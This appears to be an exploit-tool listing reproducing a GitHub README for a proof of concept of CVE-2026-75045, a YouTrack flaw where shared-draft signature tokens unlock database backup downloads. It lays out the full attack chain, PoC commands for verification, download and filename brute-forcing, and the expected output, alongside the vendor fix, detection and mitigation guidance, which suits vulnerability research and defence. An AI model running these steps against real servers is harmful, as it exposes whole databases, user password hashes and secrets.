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CVE-2026-75045-PoC — CVE-2026-75045 - JetBrains YouTrack unauthenticated database backup download via shared draft signature (CVSS 9.1) | Kitploit
Tools/GitHubGitHub/lheiakim/cve-2026-75045-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHublheiakim/cve-2026-75045-poc

CVE-2026-75045-PoC

CVE-2026-75045 - JetBrains YouTrack unauthenticated database backup download via shared draft signature (CVSS 9.1)

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426 days agoNot yet reviewed
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CVE-2026-75045 — JetBrains YouTrack: Unauthenticated Database Backup Download via Shared Draft Signature

Status: PoC reconstructed as part of vulnerability research; no public exploit existed at the time. Original reporter: Hieu Nguyen (reported to JetBrains, patched 2026-08-17/18).

ProductJetBrains YouTrack (self-hosted Server)
AffectedAll builds before 2025.3.156085, 2026.1.13913, 2026.2.18112
TypeCWE-288 — Authentication Bypass Using an Alternate Path or Channel
CVSS 3.19.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Post-exploitationFull database dump: all issues, projects, users (password hashes, secrets), attachments, settings
CISA KEVNo; low EPSS; no in-the-wild exploitation recorded

1. How the Signature Mechanism Works (Vulnerable Version, 2026.2.17765)

EntitySigningService (youtrack-application) issues URL tokens of the form:

token = base64url( timestamp | userXdId | entityId | sig )
sig   = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
  • user.secret — per-user secret (XdUser implements SecretProviderEntity);
  • if the signed entity is also a SecretProviderEntity with its own secret, it is appended to the salt;
  • parseSign(token, type) looks up the user by id, looks up the entity by entityId, recomputes SHA-256 and compares, then checks now > timestamp → "link expired".

Critical: entity lookup goes through PersitenceExtensionsKt.tryFindById → xodus-dnq IdsKt.findById:

fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
    val session = store.session
    val entity = session.getEntity(session.toEntityId(xdId))  // raw store id
    return entity.toXd() as T                                 // type NOT checked
}

The type parameter is ignored — any entity with that store-id is returned, cast to the requested type. The signature still validates because it is computed from the same fields (timestamp, user id, entity id, user secret).

2. Why a Shared Draft Token Grants Superuser Privileges

When an issue draft is "shared" with an external person, XdIssueExtKt.getUrl builds the link:

if (issue.isDraft) {
    res = "$baseUrl/newIssue?draftId=${issue.entityId}"
    if (issue.secret != null)   // draft marked as "shared"
        res += "&sign=" + signing.newSign(
            XdDraftOwnerUser.Companion.get(),   // <- signer
            issue,
            SignatureDuration.WORKFLOW)         // ~14 days
}

XdDraftOwnerUser is an internal superuser:

@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
    // login = "draft_owner_" + Math.abs(new Random().nextInt());
    // password is randomly generated — cannot log in with it,
    // but runAs() from the signature uses its identity directly
}

In summary: every recipient of a /newIssue?draftId=177-5&sign=<token> link holds a token embedding a superuser, valid for 14 days, and the link is designed for people without an account.

3. The Bypass (BackupFileResource, youtrack-maintenance)

Backup archives are served via signed links:

GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
    // SOLE authentication — signature check:
    user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
    runAs(user) {                        // <- principal becomes the token's user
        assertAccess(file);              //    hasPermission(user, ADMIN_READ_APP)
        backupFile = backupFolder.getBackupFile(file);
        // ... stream the archive
    }
}

private void assertAccess(String file) {
    if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
        throw new ForbiddenException(...);           // superuser passes
    if (file contains '/' or '\\') throw NotFound;   // path traversal blocked
}

Attack chain:

  1. The attacker obtains any shared-draft link (leaked in correspondence, email, logs, referer — links are designed for external people without an account).
  2. parseSign(token, XdDatabaseBackupConfig): user draft_owner_* is found; entity by store-id is found (it is an issue draft, but the type is not checked); SHA-256 matches; 14 days have not elapsed → token is valid.
  3. runAs(XdDraftOwnerUser) → assertAccess sees the superuser → OK.
  4. The database archive is sent to the attacker. Additional oracle: 404 (file not found) vs 403 (token rejected) allows brute-forcing filenames YYYY-MM-DD-HH-MM-SS.tar.gz (server local time; after a successful download the token is burned in expiredTokens until server restart).

4. How It Was Fixed (diff 2026.2.18194)

BackupFileResource was not changed. Changes in EntitySigningService:

  1. extractInfo: entityId == "null" is now rejected (previously tokens with entity=null were accepted for any endpoint);
  2. newSign(user, entity, ...) — entity became @NotNull;
  3. tryFindByIdOfType was added — the found entity is checked for belonging to the requested type (getEnclosingEntityClass);
  4. emailBound signatures and parseSign(token, vararg types) overload appeared — the token is bound to a list of allowed entity types.

Now a draft token on the backups endpoint → MalformedSignatureException → 403.

5. PoC

poc_cve_2026_75045.py (stdlib-only). Only for instances you own or have explicit written permission to test.

# Non-destructive check (downloads nothing):
#   404 on a nonexistent file = token accepted = vulnerable
#   403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
    --sign "<sign from shared draft link>" --i-am-authorized

# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
    --draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized

# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
    --i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz

# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
    --i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
    --times 03:00,22:30 --spread 60 --delay 0.3

Expected verify-mode output on a vulnerable server:

[*] Control   (forged token): HTTP 403
[*] Probe     (draft token)  : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.

6. Detection and Investigation

  • In access logs: GET /api/admin/backups/<file>?sign=... without cookie/Authorization, especially from external IPs; HTTP 200 on that path is an incident.
  • 404/403 responses with a valid sign format on /api/admin/backups/ indicate exploitation/scanning attempts.
  • Shared-draft link leaks: they start with /newIssue?draftId=...&sign=....
  • A successful download "burns" the token until restart — repeated 403s with the same sign after a 200 mean the first request was likely a successful download.

7. Mitigation

  1. Update to 2025.3.156085 / 2026.1.13913 / 2026.2.18112 or later (YouTrack Cloud is patched automatically).
  2. Temporarily (before updating): block /api/admin/backups/ on the reverse proxy for external clients; restrict access to the backup directory.
  3. Revoke shared-draft links (delete drafts with a set secret / recreate them) — old tokens are valid for 14 days and cannot be revoked individually; after updating they are rejected at the entity type level.
  4. Check the backup directory for signs of unauthorized access (downloads are not logged by YouTrack as an administrative action).

8. References

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